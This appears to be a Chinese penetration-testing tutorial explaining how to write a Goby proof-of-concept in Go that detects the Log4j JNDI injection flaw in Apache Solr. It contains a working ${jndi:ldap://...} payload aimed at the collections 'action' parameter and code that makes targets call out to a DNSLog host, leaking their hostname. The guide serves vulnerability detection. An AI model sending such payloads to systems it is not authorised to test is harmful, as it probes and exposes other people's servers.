網(wǎng)絡(luò)安全滲透測試使用goby檢測log4j漏洞
一、前言
前段時間的Log4j漏洞影響很廣泛,網(wǎng)上已經(jīng)公開了很多地方的利用方式,而平時用goby較多,就想利用goby的指紋識別對目標定向檢測。這篇文章就從Apache Solr Log4j漏洞為例,教大家如何寫goby poc,文章中有錯誤還請及時指正。
Goby可以通過編寫go文件,來實現(xiàn)一些高級的漏洞檢測或利用,例如dnslog檢測漏洞
詳情可查閱goby官方文檔:https://cn.gobies.org/docs/exp/index.html
二、漏洞復(fù)現(xiàn)
首先了解到漏洞觸發(fā)點是action參數(shù),
/solr/admin/collections?action=
通過dnslog驗證到靶機是存在漏洞。
payload:${jndi:ldap://24x44x.dnslog.cn/a}
圖一:發(fā)送payload
圖二:dnslog有回顯
三、goby poc編寫
Goby是通過golang編寫的,而一些漏洞檢測場景(比如dnslog驗證),goby自身的JSON 格式無法滿足這一需求,需采用 Golang 編寫漏洞代碼。
expJson部分
1、首先通過goby poc管理,添加poc,按照goby官方漏洞描述模版說明填寫并保存。
圖三:自定義poc
2、在goby安裝目錄的\golib\exploits\user文件夾打開生成的Apache_Solr_Log4j_JNDI_RCE.json文件,如果不需要exp則需把HasExp字段的true改為false。
圖四:生成的json文件
3、將生成的json代碼(去掉外圍大括號)復(fù)制到goby漏洞檢測golang模板的expJson := {xxx}
中。
package exploits import ( //根據(jù)需求導入相應(yīng)的包 "fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/godclient" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "strings" "time" ) func init() { expJson := `{ expJson部分 }` ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, nil, //自定義POC函數(shù)部分。 nil, //自定義EXP函數(shù), 沒有EXP,就寫nil, )) }
goby漏洞檢測golang模板
自定義POC函數(shù)部分
1、根據(jù)官方文檔說明
自定義 POC 由一個函數(shù)構(gòu)成,該函數(shù)參數(shù)分為
jsonvul.JsonVul、httpclient.FixUrl、scanconfig.SingleScanConfig 結(jié)構(gòu)體組成,通過響應(yīng) bool 來確認漏洞是否存在。函數(shù)模版如下:
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { return false }
需要通過編寫檢測漏洞是否存在的golang代碼,檢測到漏洞存在則返回true,不存在返回false。
圖五:自定義 POC函數(shù)部分
checkStr := goutils.RandomHexString(4)
RandomHexString函數(shù):隨機生成指定長度的字符串
checkUrl, isDomain := godclient.GetGodCheckURL(checkStr)
GetGodCheckURL函數(shù):生成DNSLog地址
uri := "/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D." + checkUrl + "/a%7D"
漏洞觸發(fā)點拼接payload
cfg := httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:構(gòu)建GET請求自定義配置,返回RequestConfig cfg.VerifyTls = false //忽略ssl驗證 cfg.FollowRedirect = false //不跟隨跳轉(zhuǎn) cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") //自定義請求頭 httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:構(gòu)建自定義請求配置,發(fā)送請求,返回請求結(jié)果HttpResponse
構(gòu)建并發(fā)送自定義配置的GET請求,返回請求結(jié)果HttpResponse
圖六:通過代理抓取到goby發(fā)送payload的get請求
return godclient.PullExists(checkStr, time.Second*15)
在一段時間內(nèi)檢測dnslog是否有HTTP請求成功,如果成功返回true,否則返回false。
圖七:通過代理抓取到goby檢測dnslog是否有HTTP請求成功
圖八:漏洞檢測成功
注意點:
- 1、expJson部分GobyQuery查詢規(guī)則,要保證能匹配到對應(yīng)目錄資產(chǎn)
- 2、導入goby,發(fā)現(xiàn)加載不出poc,需要去檢查代碼的問題
- 3、使用goby官方的函數(shù)需通過import導入對應(yīng)的包
當然除了solr還有很多框架,希望大家能從文章中學到一點知識,打磨自己的武器。
以上就是網(wǎng)絡(luò)安全滲透測試使用goby檢測log4j漏洞的詳細內(nèi)容,更多關(guān)于使用goby檢測log4j漏洞的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
變態(tài)入侵之有史以來最酷的Windows后門sethc.exe
變態(tài)入侵之有史以來最酷的Windows后門sethc.exe...2007-11-11